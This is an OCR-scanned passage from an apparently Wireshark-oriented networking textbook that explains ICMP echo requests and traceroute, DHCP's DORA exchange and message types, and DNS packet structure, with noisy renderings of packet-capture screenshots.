is an issue with the port with which you are attempting to communicate. 


For a full list of available ICMP types and codes, see http:/ /www.iana.org/ 
assignments/icmp-parameters. 


Common Lower-Layer Protocols 107 


icmp. echo.pcap 


108 


NOTE 


Chapter 6 


Echo Requests and Responses 


ICMP's biggest claim to fame is thanks to the ping utility. Ping is used to test 
for connectivity to a device. Most information technology (IT) professionals 
are familiar with ping. 

To use ping, enter ping «ip address» at the command prompt, replacing 
«ip address» with the actual IP address of a device on your network. If the tar- 
get device is turned on, your computer has a communication route to it, and 
there is no firewall blocking that communication, you should see replies to 
your ping command. 

The example in Figure 6-30 shows four successful replies that display 
their size, RTT, and TTL used. The Windows utility also provides a summary 
detailing how many packets were sent, received, and lost. If communication 
fails, you should see a message telling you why. 


i 
Bä Administrator: C:\Windows\system32\cmd.exe >|) Sm 


C:\>ping 172.16.16.1 


“TTL=64 


TTL-64 
TTL-64 
TTL-64 


ics for 172.16.16.1: 
* Sent = 4, Received = 4, Lost = <@% loss). 
Approximate round trip times in milli-seconds: 
Minimum = ims. Maximum = 3ms, Average = 2ms 


Figure 6-30: The ping command being used to test connectivity 


Basically, the ping command sends one packet at a time to a device and 
listens for a reply to determine if there is connectivity to that device, as shown 
in Figure 6-31. 


Echo/Ping Request > 


< Echo/Ping Response 


Figure 6-31: The ping command involves only two steps. 


Although ping has long been the bread and butter of IT, its results can be a bit deceiv- 
ing as host-based firewalls are deployed. Many of today’s firewalls limit the ability of a 
device to respond to ICMP packets. This is great for security, because potential attackers 
using ping to determine if a host is accessible might be deterred, but troubleshooting is 

also made more difficult—it can be frustrating to ping a device to test for connectivity 
and not receive a reply when you know you can communicate with that device. 


The ping utility in action is a great example of simple ICMP communica- 
tion. The packets in the file icmp_echo.pcap demonstrate what happens when 
you run ping. 


NOTE 


The first packet (see Figure 6-32) shows that host 192.168.100.138 is 
sending a packet to 192.168.100.1 €. When you expand the ICMP portion 
of this packet, you can determine the ICMP packet type by looking at the 
Type and Code fields. In this case, the packet is type 8 @, code 0 9, indicat- 
ing an echo request. (Wireshark should tell you what the type/code being 
displayed actually is.) This echo (ping) request is the first half of the equa- 
tion. It is a simple ICMP packet, sent using IP, that contains a small amount 
of data. Along with the type and code designations and the checksum, we 
also have a sequence number that is used to pair requests with replies, and a 
random text string in the variable portion of the ICMP packet. 


The terms echo and ping are often used interchangeably, but just remember that ping 
is actually the name of a tool. The ping tool is used to send ICMP echo request packets. 


ll] 1 0.000000 192.168.100.138 192.168.100.1 ICMP Echo (ping) request tex) 


Ethernet II, Src: CompalCo b8:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco 4b:cO:7f (00:12:80:4b:c0:7f) 
Œ Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 192.168.100.1 (192.168.100.1) [1] 
E Internet Control Message Protocol 
@ Type: 8 (Echo (ping) request) 
[ e Code: 0 () 
[| checksum: 0x145c [correct] 
Identifier: 0x0500 
Sequence number: 13312 (0x3400) 
E Data (32 bytes) 
Data: 6162636465666768696A6B6C6D6E6F707172737475767761... 
[Length: 32] 


00 3c fe fd 00 00 80 01 
64 01 08 00 14 5c 05 00 34 00 61 62 63 64 65 66 
67 68 69 Ga 6b 6c 6d Ge 70 71 72 73 74 75 76| 
|7 61 62 63 64 65 66 67 


mj» 


4 


Figure 6-32: The ICMP echo request packet 


The second packet in this sequence is the reply to our request (see Fig- 
ure 6-33). The ICMP portion of the packet is type 0 €, code 0 @, indicating 
that this is an echo reply. Because the sequence number in the second 
packet matches that of the first ©, we know that this echo reply matches 
the echo request in the previous packet. This reply packet also contains the 
same 32-byte string of data that was transmitted with the initial request O. 
Once this second packet has been received by 192.168.100.138, ping will 
report success (see Figure 6-30, shown earlier). 


lil 2 0.000776 192.168.100.1 192.168.100.138 ICMP Echo (ping) reply lalak) 


Frame 2 (74 bytes on wire, 74 bytes captured) 
& Ethernet II, Src: Cisco_4b:c0:7f (00:12:80:4b:c0:7f), Dst: CompalCo b8:59:b1 (00:16:d4:b8:59:b1) 
& Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 192.168.100.138 (192.168.100.138) 
E Internet Control Message Protocol 
Type: 0 (Echo (ping) reply) 
Code: 0 () 
Checksum: OxicSc [correct] 
Identifier: 0x0500 
© sequence number: 13312 (0x3400) 
E Data (32 bytes) 
[1] Data: 6162636465666768696A6B6C6D6E6F707172737475767761... 
[Length: 32] 


0000 
0010 
0020 
0030 
0040 


H 80 4b cO 7f 08 00 45 00 
00 3c fe fd 00 00 ff O1 72 e6 cO a8 64 O1 cO a8 
64 8a 00 00 1c 5c 05 00 34 00 61 62 63 64 65 66l 
67 68 69 6a 6b 6c 6f 70 71 72 73 74 75 76 
77 61 62 63 64 65 


DNE 


Figure 6-33: The ICMP echo reply packet 
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Note that you can use variations of ping to increase the size of the data 
padding, which forces packets to be fragmented for various types of network 
troubleshooting. This may be required when you're troubleshooting networks 
that require a smaller fragment size. 


The random text used in an ICMP echo request can be of great interest to a potential 
attacker. Attackers can use the information in this padding to profile the operating 
system used on a device. Additionally, attackers can place small bits of data in this 
field as a method of covert communication. 


Traceroute 


The traceroute utility is used to identify the path from one device to another. 
On a simple network, a path may go through only a single router or no router 
at all. On a complex network, however, a packet may need to go through dozens 
of routers to reach its final destination, which is why it’s crucial to be able to 
trace the exact path a packet takes from one destination to another in order 
to troubleshoot communication. 

By using ICMP (with a little help from IP), traceroute can map the path 
packets take. For example, the first packet in the file icmp_traceroute.pcap is 
pretty similar to the echo request we looked at in the previous section (see 
Figure 6-34). 


P 
(@ 1 0.000000 192.168.100.138 4.2.2.1 ICMP Echo (ping) request copam) 


Frame 1 (106 bytes on wire, 106 bytes captured) 
Ethernet II, Src: Compalco_b8:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco_4b:c0:7f (00:12:80:4b:c0:7f) 
Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 4.2.2.1 (4.2.2.1) (2) 
version: 4 
Header length: 20 bytes 
m Differentiated services Field: 0x00 (DsCP 0x00: Default; ECN: 0x00) 
Total Length: 92 
Identification: Oxff51 (65361) 
& Flags: 0x00 
Fragment offset: 0 
Time to live: 1 6 
Protocol: ICMP (0x01) 
Header checksum: Ox8fla [validation disabled] 
Source: 192.168.100.138 (192.168.100.138) 
Destination: 4.2.2.1 (4.2.2.1) 
B Internet Control Message Protocol 
Type: 8 (Echo (ping) request) @ 
Code: 0 () 
checksum: Oxbaff [correct] 
Identifier: 0x0500 
Sequence number: 14336 (0x3800) 
& Data (64 bytes) 


E BG 


m 


[::] 


B 


[m] 


Figure 6-34: An ICMP echo request packet with a TLL value of 1 


At first glance, this packet appears to be a simple echo request ® from 
192.168.100.138 to 4.2.2.1 @, and everything in the ICMP portion of the 
packet is identical to the formatting of an echo request packet. However, 
when you expand the IP header of this packet, you'll notice one odd value: 
The packet's TTL value is set to 1 6, which means that the packet will 
be dropped at the first router that it hits. Because the destination 4.2.2.1 


address is an Internet address, we know that there must be at least one router 
between our source and destination devices, so there is no way this packet 
will reach its destination. That's good for us, because traceroute relies on the 
fact that this packet will make it to only the first router it traverses. 

The second packet is, as expected, a reply from the first router we reached 
along the path to our destination (see Figure 6-35). This packet reached this 
device at 192.168.100.1, its TTL was decremented to 0, and the packet could 
not be transmitted further, so the router replied with an ICMP response. This 
packet’s type 11 @, code 0 Ó tells us that the destination was unreachable 
because the packet's TTL was exceeded during transit. 


(GW 2 0.000813 192.168.100.1 192.168.100.138 ICMP Time-to-live exceeded (Time to live exceeded in transit) cnam) 


| Frame 2 (70 bytes on wire, 70 bytes captured) 


& Ethernet II, Src: Cisco 4b:c0:7f (00:12:80:4b:c0:7f), Dst: Compalco_b8:59:b1 (00:16:d4:b8:59:b1) 
Ej Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 192.168.100.138 (192.168.100.138) 
version: 4 
Header length: 20 bytes 
m Differentiated Services Field: OxcO (DSCP 0x30: Class Selector 6; ECN: 0x00) 
Total Length: 56 
Identification: Ox491a (18714) 
@ Flags: 0x00 
Fragment offset: 0 
Time to live: 255 
Protocol: ICMP (0x01) 
Æ Header checksum: Ox280e [validation disabled] 
Source: 192.168.100.1 (192.168.100.1) 
Destination: 192.168.100.138 (192.168.100.138) 
E Internet Control Message Protocol 
@ Type: 11 (Time-to-live exceeded) 
i e9 Code: O (Time to live exceeded in transit) 
Checksum: Oxf4ff [correct] 
e: Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 4.2.2.1 (4.2.2.1) 
@ & Internet control Message Protocol 
Type: 8 (Echo (ping) request) 
Code: 0 () 
Checksum: Oxbaff [correct] 
Identifier: 0x0500 
Sequence number: 14336 (0x3800) 


0000 
0010 
0020 
0030 
0040 


80 4b cO 7f 08 00 45 cO 
38 49 1a 00 00 ff O1 28 Oe cO a8 64 01 cO a8 
8a Ob 00 f4 ff 00 00 00 00 45 00 00 5c ff 51 
00 O1 O1 8f 1a cO a8 64 8a 04 02 02 O1 08 00 


4 [mg 


Figure 6-35: An ICMP response from the first router along the path 


This ICMP packet is sometimes called a double-headed packet, because the 
tail end of its ICMP portion contains a copy of the IP header ® and ICMP 
data O that was sent in the original echo request. This information can prove 
to be very useful for troubleshooting. 

This process of sending packets with incremented TTL values occurs 
two more times before we get to packet 7. Here, you see the same thing you 
saw in the first packet, except that this time, the TTL value in the IP header 
is set to 2, which ensures the packet will make it to the second hop router 
before it is dropped. As expected, we receive a reply from the next hop 
router, 12.180.241.1, with the same ICMP destination unreachable and TTL 
exceeded messages. This process continues with the TTL value increasing by 
one until the destination 4.2.2.1 is reached. 

To sum up, this traceroute process has communicated with each router 
along the path, building a map of the route to the destination. This map is 
shown in Figure 6-36. 
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The discussion here on traceroule is generally Windows-focused because it uses ICMP 
exclusively. The traceroute utility on Linux is a bit more versatile and can utilize other 
protocols in order to perform route path tracing. 


- 
Exi Administrator: C:\Windows\system32\cmd.exe l © | ©) s 


C:\>tracert 4.2.2.1 


Tracing route to unsc-pri s.gtei.net [4.2.2.1] 
lover a maximum of 3B hops: 


172.16.16.1 

74-137- .dhcp.insightbb.com [74.137.8.1]1] 
74-137-8-225.dhcp.insightbb.com [74.137.0.225] 
74.128.9.285 

cer-edge-13.inet.quest.net (65.123.162.153] 
chp-brdr-83.inet.quest.net [67.14.8.194] 
63.146.27.18 

ae-11-55.cari.Chicagoi.Leuvel3.net [4.68.161.136] 


1 
2 
3 
4 
5 
6 
7? 
8 
9 


unsc-pri.sys.gtei.net [4.2.2.1] 


Trace complete. 


k- 


Figure 6-36: A sample output from the traceroute utility 


As you'll see throughout this book, ICMP has many different functions. 
We'll use ICMP frequently as we analyze more scenarios. 

This chapter has introduced you to a few of the most important protocols 
you will examine in the process of packet analysis. IP, TCP, UDP, and ICMP 
are at the foundation of all network communications, and they are critical to 
just about every daily task you perform. In the next chapter, we will look at a 
grouping of common application-layer protocols. 


COMMON UPPER-LAYER 
PROTOCOLS 


In this chapter, we'll continue to examine 

the functions of individual protocols, as 
well as what they look like when viewed with 
Wireshark. We'll discuss three of the most 
common upper-ayer (layer 7) protocols: DHCP, DNS, 
and HTTP. 


Dynamic Host Configuration Protocol 


In the early days of networking, when a device wanted to communicate over 
a network, it needed to be assigned an address by hand. As networks grew, 
this manual process quickly became cumbersome. To solve this problem, 
Bootstrap Protocol (BOOTP) was created to automatically assign addresses 
to network-connected devices. BOOTP was later replaced with the more 
sophisticated Dynamic Host Configuration Protocol (DHCP). 
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DHCP is an application layer protocol responsible for allowing a device 
to automatically obtain an IP address (and addresses of other important net- 
work assets, such as DNS servers and routers). Most DHCP servers today also 
provide other parameters to clients, such as the addresses of the default gateway 
and DNS servers in use on the network. 


The DHCP Packet Structure 


DHCP packets can carry quite a lot of information to a client. As shown in 
Figure 7-1, the following fields are present within a DHCP packet: 


OpCode Indicates whether the packet is a DHCP request or a DHCP 
reply 

Hardware Type The type of hardware address (10MB Ethernet, IEEE 
802, ATM, and so on) 


Hardware Length The length of the hardware address 
Hops Used by relay agents to assist in finding a DHCP server 
Transaction ID A random number used to pair requests with responses 


Seconds Elapsed Seconds since the client first requested an address 
from the DHCP server 


Flags The types of traffic the DHCP client can accept (unicast, broad- 
cast, and so on) 


Client IP Address The client's IP address (derived from the Your IP 
Address field) 


Your IP Address The IP address offered by the DHCP server (ulti- 
mately becomes the Client IP Address field value) 


Server IP Address The DHCP server's IP address 

Gateway IP Address The IP address of the network’s default gateway 
Client Hardware Address The client's MAC address 

Server Host Name The server's host name (optional) 

Boot File A boot file for use by DHCP (optional) 


Options Used to expand the structure of the DHCP packet to give it 
more features 


Dynamic Host Configuration Protocol 


o e TT TNT 
EXE T NN 


Figure 7-1: The DHCP packet structure 


The DHCP Renewal Process 


dhcp, nolease . The primary goal of DHCP is to assign addresses to clients during the renewal 

renewal.pcap process. The renewal process takes place between a single client and a DHCP 
server, as shown in the file dhcp_nolease_renewal.pcap. The DHCP renewal 
process is often referred to as the DORA process because it uses four types 
of DHCP packets: discover, offer, request, and acknowledgment, as shown in 
Figure 7-2. Here, we'll take a look at each type of DORA packet. 


Discover 


Offer 


Request 
DCHP Client DCHP Server 


Figure 7-2: The DHCP DORA process 
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The Discover Packet 


As you can see in the referenced capture file, the first packet is sent from 0.0.0.0 
on port 68 to 255.255.255.255 on port 67. The client uses 0.0.0.0 because it does 
not yet have an IP address. The packet is sent to 255.255.255.255 because this 
is the network-independent broadcast address, thus ensuring that this packet 
will be sent out to every device on the network. Because the device doesn't 
know the address of a DHCP server, this first packet is sent in an attempt to 
find a DHCP server that will listen. 

Examining the Packet Details pane, the first thing we notice is that DHCP 
relies on UDP as its transport layer protocol. DHCP is very concerned with 
the speed at which a client receives the information it's requesting. DHCP 
has its own builtin reliability measures, which means UDP is a perfect fit. You 
can see the details of the discovery process by examining the first packet's 
DHCP portion in the Packet Details pane, as shown Figure 7-3. 


Because Wireshark still references BOOTP when dealing with DHCP, you'll see a 
Bootstrap Protocol section in the Packets Detail pane, rather than a DHCP section. 
Nevertheless, I'll refer to this as the packet’s DHCP portion throughout this book. 


(ZB 1 0.000000 0.0.0.0 255.255.255.255 DHCP DHCP Discover - Transaction ID Ox3did kolekole 


Frame 1 (314 bytes on wire, 314 bytes captured) 
Ethernet II, Src: Grandstr 01:fc:42 (00:0b:82:01:fc:42), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 
Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255) 
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67) 
B Bootstrap Protocol 

Message type: Boot Request (1) @ 

Hardware type: Ethernet 

Hardware address length: 6 

Hops: 0 

Transaction ID: 0x00003did 

Seconds elapsed: 0 


Bootp flags: 0x0000 (Unicast) 

Client IP address: 0.0.0.0 (0.0.0.0) 
ew" (client) IP address: 0.0.0.0 (0.0.0.0) 
Next server IP address: 0.0.0.0 (0.0.0.0) 
Relay agent IP address: 0.0.0.0 (0.0.0.0) 


Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42) 
Client hardware address padding: 00000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: (OK) 
Option: (t=53,1=1) DHCP Message Type = DHCP Discover e 
Option: (t=61,1=7) client identifier 
Option: (t-50,1-4) Requested IP Address - 0.0.0.0 
Option: (t-55,1-4) Parameter Request List 
End Option 
Padding 


Figure 7-3: The DHCP discover packet 


This packet is a request, identified by the (1) in the Message Type field 0. 
Most of the fields in this discovery packet are either blank (as you can see in 
the IP Address fields 0) or pretty self-explanatory, based on the listing of 
DHCP fields in the previous section. The meat of this packet is in its four 
option fields: 


DHCP Message Type This is option type 53 (t-53), with length 1 and a 
value of 1 ®. These values indicate that this is a DHCP discover packet. 


Client Identifier This provides additional information about the client 
requesting an IP address. 


Requested IP Address This supplies the IP address the client would 
like to receive (typically its previously used IP address). 


Parameter Request List This lists the different configuration items (IP 
addresses of other important network devices) the client would like to 
receive from the DHCP server. 


The Offer Packet 


The second packet in this file lists valid IP addresses in its IP header, showing 
a packet traveling from 192.168.0.1 to 192.168.0.10, as shown in Figure 7-4. 
The client does not actually have the 192.168.0.10 address yet, so the server 
will first attempt to communicate with the client using its hardware address, 
as provided by ARP. If communication is not possible, it will simply broadcast 
the offer to communicate. 


lll 2 0.000295 192.168.0.1 192.168.0.0 DHCP DHCP Offer. - Transaction ID Ox3d1d [21-3 0-3 


Frame 2 (342 bytes on wire, 342 bytes captured) 
Ethernet II, Src: DellComp ad:fi:9b (00:08:74:ad:f1:9b), Dst: Grandstr 01:fc:42 (00:0b:82:01:fc:42) 
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.10 (192.168.0.10) 
User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68) 
Message type: Boot Reply (2) @ 
Hardware type: Ethernet 
Hardware address length: 6 
Hops: O 
Transaction ID: Ox00003did @ Ii 
Seconds elapsed: 0 [| 
Bootp flags: 0x0000 (unicast) [l 
Client IP address: 0.0.0.0 (0.0.0.0) [l 
Qi (client) IP address: 192.168.0.10 (192.168.0.10) [I 


Next server IP address: 192.168.0.1 (192.168.0.1) 
Relay agent IP address: 0.0.0.0 (0.0.0.0) 
Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42) 
Client hardware address padding: 00000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: (OK) 
Option: (t=53,1=1) DHCP Message Type = DHCP Offer e 
& Option: (t-1,1-4) subnet Mask = 255.255.255.0 
Option: (t=58,1=4) Renewal Time value = 30 minutes 
Option: (t=59,1=4) Rebinding Time value = 52 minutes, 30 seconds 
Option: (t-51,1-4) IP Address Lease Time - 1 hour 
Option: (t=54,1=4) DHCP Server Identifier = 192.168.0.1 
End Option 
Padding 


0000 00 Ob 82 O1 fc 42 00 08 74 ad f1 9b 08 00 45 00 
0010 
0020 
0030 
[|0040 
| 0050 
|0060 
|0070 


(innn 


m) >» 


Figure 7-4: The DHCP offer packet 


The DHCP portion of this second packet, called the offer packet, indicates 
that the message type is a reply 9. This packet contains the same transaction 
ID as the previous packet 6, which tells us that this reply is indeed to respond to 
our original request. 

The offer packet is sent by the DHCP server in order to offer its services 
to the client. It does so by supplying information about itself and the address- 
ing it wants to provide the client. In Figure 7-4, the IP address 192.168.0.10 in 
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the Your (Client) IP Address field is being offered to the client 6. The value 
192.168.0.1 in the Next Server IP Address field O indicates that our DHCP 
server and default gateway share the same IP address. 

The first option listed identifies the packet as a DHCP Offer ©. The options 
that follow are supplied by the server and indicate the additional information 
it can offer, along with the client's IP address. You can see that it offers the 
following: 


e A subnet mask of 255.255.255.0 
e Arenewal time of 30 minutes 
e A rebinding time value of 52 minutes and 30 seconds 


e An IP address lease time of 1 hour 
e ADHCP server identifier of 192.168.0.1 


The Request Packet 


Once the client receives an offer from the DHCP server, it should accept it 
with a DHCP request packet, as shown in Figure 7-5. 


li 3 0.070031 0.0.0.0 255.255.255.255 DHCP DHCP Request - Transaction ID Ox3dle POSS ae x=) 


Frame 3 (314 bytes on wire, 314 bytes captured) 
Ethernet II, Src: Grandstr 01:fc:42 (00:0b:82:01:fc:42), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 
Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255) 6) 
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67) 
:u-————————————— Bootstrap Protocol 
Message type: Boot Request (1) € 
Hardware type: Ethernet 
Hardware address length: 6 
Hops: 0 
Transaction ID: 0x00003die e | 
Seconds elapsed: O | 
Bootp flags: 0x0000 (Unicast) | 
| 
| 


Client IP address: 0.0.0.0 (0.0.0 

| Your (client) IP address: 0.0.0.0 
0 ¢ 

¢ 


Next server IP address: 0.0.0. 
Relay agent IP address: 0.0.0.0 
Client MAC address: Grandstr. 01:fc:42 (00:0b:82:01:fc:42) 
Client hardware address padding: 00000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: (OK) 
Option: (t-53,1-1) DHCP Message Type = DHCP Request @ 
Option: (t=61,1=7) Client identifier 
Option: (t=50,1=4) Requested IP Address = 192.168.0.10 
Option: (t=54,1=4) DHCP Server Identifier = 192.168.0.1 
Option: (t-55,1-4) Parameter Request List 
End option 
Padding 


0020 
0030 
0040 
0050 
0060 


nnn 


Figure 7-5: The DHCP request packet 


The third packet in this capture still comes from IP address 0.0.0.0, 
because we have not yet completed the process of obtaining an IP address ®. 
The packet now knows the DHCP server it is communicating with. 

The Message Type field shows that this packet is a request 6. Although 
every packet in this capture file is part of the same renewal process, it has a 
new transaction ID, since this is a new request/reply transaction 9. This 
packet is similar to the discover packet, in that all of its IP addressing infor- 
mation is blank. 


dhcp. inlease - 
renewal.pcap 


Finally, in the options fields O, we see that this is a DHCP Request. Notice 
that the requested IP address is no longer blank, and that the DHCP Server 
Identifier field also contains an address. 


The Acknowledgment Packet 


In the final step in this process, the DHCP server sends the requested IP 
addresses to the client in an acknowledgment packet and records that infor- 
mation in its database, as shown in Figure 7-6. 


- ———— - - 
| 40.070345 192.168.0.1 192.1680.10 DHCP DHCP ACK — - Transaction ID OGd1e Eroe) 


Frame 4 (342 bytes on wire, 342 bytes captured) 

& Ethernet II, Src: Dellcomp_ad:f1:9b (00:08:74:ad:f1:9b), Dst: Grandstr_01:fc:42 (00:0b:82:01:fc:42) 
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.10 (192.168.0.10) 
user Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68) 
Message type: Boot Reply (2) 

Hardware type: Ethernet 

Hardware address length: 6 

Hops: 0 

Transaction ID: Ox00003die 

Seconds elapsed: 0 

Bootp flags: 0x0000 (unicast) 

Client IP address: 0.0.0.0 (0.0.0.0) 

Your (client) IP address: 192.168.0.10 (192.168.0.10) 

Next server IP address: 0.0.0.0 (0.0.0.0) 

Relay agent IP address: 0.0.0.0 (0.0.0.0) 

Client MAC address: Grandstr 01:fc:42 (00:0b:82:01:fc:42) 

Client hardware address padding: 00000000000000000000 

Server host name not given 

Boot file name not given 

Magic cookie: (OK) 

Option: (t-53,1-1) DHCP Message Type = DHCP ACK 

Option: (t-58,1-4) Renewal Time value - 30 minutes 

Option: (t=59,1=4) Rebinding Time value = 52 minutes, 30 seconds 
Option: (t-51,1-4) IP Address Lease Time - 1 hour 

Option: (t=54,1=4) DHCP Server Identifier = 192.168.0.1 

Option: (t=1,1=4) subnet Mask = 255.255.255.0 

End Option 

Padding 


g 


BERRA 


0020 00 Oa 00 43 00 44 O1 34 df db PAGES 
0030 le 00 00 00 00 00 OO 00 OO cO a8 00 Oa 00 
0040 00 00 00 OO OO OO Ob 82 O1 fc 42 00 OO 00 
0050 00 00 00 00 00 00 00 00 00 00 
0060 00 00 00 00 00 00 
| lanza an na na na aa nn à à 
x J 


Figure 7-6: The DCHP acknowledgment packet 


The client now has an IP address and can use it to begin communicating 
on the network. 


DHCP In-Lease Renewal 


When a DHCP server assigns an IP address to a device, it leasesit to the client. 
This means that the client is allowed to use the IP address for only a limited 
amount of time before it must renew the lease. The DORA process just discussed 
occurs the first time a client gets an IP address or when its lease time has 
expired. In either case, the device is considered to be out of lease. 

When a client with an IP address in-lease reboots, it must perform a trun- 
cated version of the DORA process in order to reclaim its IP address. This 
process is called an in-lease renewal. 
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In the case of a lease renewal, the Discovery and Offer packets are 
unnecessary. Think of it as the same DORA process used in an out-of lease 
renewal, but the in-lease renewal doesn't need to doas much, leaving only 
the request and acknowledgment steps. You'll find a sample capture of an 
in-lease renewal in the file dhcp_inlease_renewal.pcap. 


DHCP Options and Message Types 


DHCP's real flexibility lies in its available options. As you've seen, the 
packet's DHCP options can vary in size and content. The packet's overall size 
depends on the combination of options used. You can view a full list of the 
many DHCP options at hitp://www.iana.org/assignments/bootp-dhcp-parameters/. 

The only option required in all DHCP packets is the Message Type option 
(option 53). This option identifies how the DHCP client or server will pro- 
cess the information contained within the packet. There are eight message 
types, as defined in Table 7-1. 


Table 7-1: DHCP Message Types 


Type 
Number Message Type Description 
Discover Used by the client to locate available DHCP servers 

2 Offer Sent by the server to the client in response to a discover 
packet 

3 Request Sent by the client to request the offered parameters from 
the server 

4 Decline Sent by the client to the server to indicate invalid 
parameters within a packet 

5 ACK Sent by the server to the client with the configuration 
parameters requested 

6 NAK Sent by the client to the server to refuse a request for 
configuration parameters 

7 Release Sent by the client to the server to cancel a lease by 
releasing its configuration parameters 

8 Inform Sent by the client to the server to ask for configuration 


parameters when the client already has an IP address 


Domain Name System 


Chapter 7 


The Domain Name System (DNS) is one of the most crucial Internet proto- 
cols because it is the proverbial molasses that holds the bread together. DNS 
ties names, such as www.google.com, to IP addresses, such as 74.125.159.99. 
When we want to communicate with a networked device and we don’t know 
its IP address, we access that device via its DNS name. 

DNS servers store a database of resource records of IP address-to-DNS name 
mappings, which they share with clients and other DNS servers. 


NOTE 


Because the architecture of DNS servers is complicated, we will just look at some com- 
mon types of DNS traffic. You can review the various DNS-related RFCs at http:/ / 
www.isc.org/community/reference/RFCs/DNS. 


The DNS Packet Structure 


As you can see in Figure 7-7, the DNS packet structure is somewhat different 
from the packet types we’ve discussed previously. The following fields can be 
present within a DNS packet: 

DNS ID Number Used to associate DNS queries with DNS responses. 


Query/Response (QR) Denotes whether the packet is a DNS query 
or response. 


OpCode Defines the type of query contained in the message. 


Authoritative Answers (AA) If this value is set in a response packet, it 
indicates that the response is from a name server with authority over the 
domain. 


Truncation (TC) Indicates that the response was truncated because it 
was too large to fit within the packet. 


Recursion Desired (RD) When set in a query, this value indicates that 
the DNS client requests a recursive query if the target name server does 
not contain the information requested. 


Recursion Available (RA) If this value is set in a response, it indicates 
that the name server supports recursive queries. 


Reserved (Z) Defined by RFC 1035 to be set as all zeros; however, some- 
times it’s used as an extension of the RCode field. 


Response Code (RCode) Used in DNS responses to indicate the pres- 
ence of any errors. 


Question Count The number of entries in the Questions section. 
Answer Count The number of entries in the Answers section. 


Name Server Count The number of name server resource records in 
the Authority section. 


Additional Records Count The number of other resource records in 
the Additional Information section. 


Questions section Variable-sized section that contains one or more 
queries for information to be sent to the DNS server. 


Answers section Variable-sized section that carries one or more resource 
records that answer queries. 


Authority section Variable-sized section that contains resource records 
that point to authoritative name servers that can be used to continue the 
resolution process. 
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Additional Information section Variable-sized section that contains 
resource records that hold additional information related to the query 
that is not absolutely necessary to answer the query. 


Domain Name System 


Bit 
Offset 0-15 16-31 


o [ moone Roca ERIT 2 ese 


a | ancoan O | O "T TT | 
Pa| Nan Ser aunt | e 
Def n O O ee | 


Figure 7-7: The DNS packet structure 


A Simple DNS Query 


dns_query_ DNS functions in a query/response format. A client wishing to resolve a DNS 
response. pcap name to an IP address sends a query to a DNS server, and the server sends the 
requested information in its response. In its simplest form, this process takes 
two packets, as can be seen in the capture file dns query response.pcap. 
The first packet, shown in Figure 7-8, is a DNS query sent from the client 
192.168.0.114 to the server 205.152.37.23 on port 53, which is the standard 
port used by DNS. 


- 
(BB 1 0.000000 192.168.0114 205.152.37.23 DNS Standard query A wireshark.org ea za 


@ Frame 1 (73 bytes on wire, 73 bytes captured) 
Œ Ethernet II, Src: HonHaiPr 6e:8b:24 (00:16:ce:6e:8b:24), Dst: D-Link 21:99:4c (00:05:5d:21:99:4c) 
@ Internet Protocol, Src: 192.168.0.114 (192.168.0.114), Dst: 205.152.37.23 (205.152.37.23) 
@ User Datagram Protocol, Src Port: polestar (1060), Dst Port: domain (53) @] 
m Domain Name System (query) 
Response In: 2 
Transaction ID: Ox180f 
| 5 Flags: Ox0100 (standard query) e 
j Oiss: seinen ssa osoa = Response: Message is a query 
1000! Mans: sari sare = opcode: standard query (0) 
E - Truncated: Message is not truncated 


(RÀ Recursion desired: Do query recursively 
è > EENAA Zz: reserved (0) 
IE 0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable 
Questions: 1 
Answer RRS: O 
Authority RRs: 0 
Additional RRs: 0 
E Queries 
E wireshark.org: type A, class IN e 
Name: wireshark.org 
Type: A (Host address) 
Class: IN (0x0001) 
0010 00 3b if 27 00 00 80 1i 67 ci cO a8 00 72 cd 98 
0020 25 17 04 24 00 35 00 27 03 6d moam 


0030 OO 00 OO 00 OO 09 77 69 72 65 73 68 61 72 6b) 
CORO 6f 72 67 00 00 01 00 01| 


c 


Figure 7-8: The DNS query packet 
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When you begin examining the headers in this packet, you will see that 
DNS also relies on UDP 6. 

In the DNS portion of the packet, you can see that smaller fields near the 
beginning of the packet are condensed by Wireshark into a single Flags sec- 
tion. Expand this section, and you'll see that the message is indeed a standard 
query ®, that it is not truncated, and that recursion is desired (we will cover 
recursion shortly). Only a single question is identified, which can be found 
by expanding the Queries section. There, you can see the query is for the 
name wireshark.org for a host (type A) Internet (IN) address ®. This packet is 
basically asking, “Which IP address is associated with the wireshark.org domain?" 

The response to this request is in packet 2, as shown in Figure 7-9. Because 
this packet has an identical identification number @, we know that it contains 
the correct response to the original query. 


E 1 
(@ 2 0.091164 205.152.37.23 192.168.0.114 DNS Standard query response A 128.121.50.122 <=) 


|E Frame 2 (89 bytes on wire, 89 bytes captured) | 
|& Ethernet II, Src: D-Link 21:99:4c (00:05:5d:21:99:4c), Dst: HonHaiPr_6e:8b:24 (00:16:ce:6e:8b:24) | 
|& Internet Protocol, src: 205.152.37.23 (205.152.37.23), Dst: 192.168.0.114 (192.168.0.114) 
(a user Datagram Protocol, Src Port: domain (53), Dst Port: polestar (1060) 
[= Domain wane System (response) n 
| Request In: 1 
| [Time: 0. 091164000 seconds] 
Transaction ID: 0x180f 
| E Flags: 0x8180 (standard query response, No error) e 
| 1... - Response: Message is a response 
- Opcode: Standard query (0) 
- Authoritative: Server is not an authority for domain 
